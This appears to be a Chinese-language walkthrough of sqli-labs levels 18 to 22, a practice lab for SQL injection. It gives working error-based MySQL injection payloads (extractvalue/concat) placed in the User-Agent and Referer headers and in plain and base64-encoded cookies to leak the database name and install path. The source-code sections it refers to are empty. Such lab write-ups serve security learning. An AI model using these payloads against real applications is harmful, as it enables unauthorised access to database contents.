LESS-18
由於用戶和密碼都有check_input()處理,所以不能再用戶和密碼處進行注入,但是可以看出有insert語句uagent’,’$IP’, $uname)";
將 useragent 和 ip 插入到數據庫中,那麼我們是不是可以用這個來進行注入呢?
Ip 地址我們這裏修改不是很方便,但是 useragent 修改較爲方便,我們從 useragent 入手
在User-Agent處輸入: 'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and ‘1’='1(用’1’=’1而不用#閉合的原因是防止後面插入的id密碼等被註釋掉,而and和前一個單引號閉合則1前的單引號與後一個單引號閉合(user-agent字符串的閉合單引號))
LESS-19
類比與18,可以得出在referers修改即可
Referer處輸入:'and extractvalue(1,concat(0x7e,(select @@basedir),0x7e)) and ‘1’=‘1
LESS-20
源碼:
由於用戶名和密碼都要進行check_input()處理,所以不能用用戶名和密碼進行報錯。從源代碼中我們可以看到 cookie 從 username 中獲得值後,當再次刷新時,會從 cookie 中讀
取 username,然後進行查詢。登錄成功後,我們修改 cookie,再次刷新時,這時候 sql 語句就會被修改了。
把cookie這改爲uname=admin1’and extractvalue(1,concat(0x7e,(select @@basedir),0x7e)即可報錯路徑
同理報出數據庫
Less-21
源碼
我們這裏可以利用 less20 同樣的方法,但是需要將 payload 進行 base64 編碼處理Uname=admin1’)andextractvalue(1,concat(0x7e,(select@@basedir),0x7e))#
進行base64編碼後
uname=YWRtaW4xJylhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBAQGJhc2VkaXIpLDB4N2UpKSM=
爆出路徑
LESS-22
源碼:
由此可見,源碼對“uname”進行了雙引號閉合的方式,且cooKies需要進行base64編碼
可以構造 payload:admin1"and extractvalue(1,concat(0x7e,(select database()),0x7e))#
再對Payload 進行 base64 編碼後,修改 cookie 再進行提交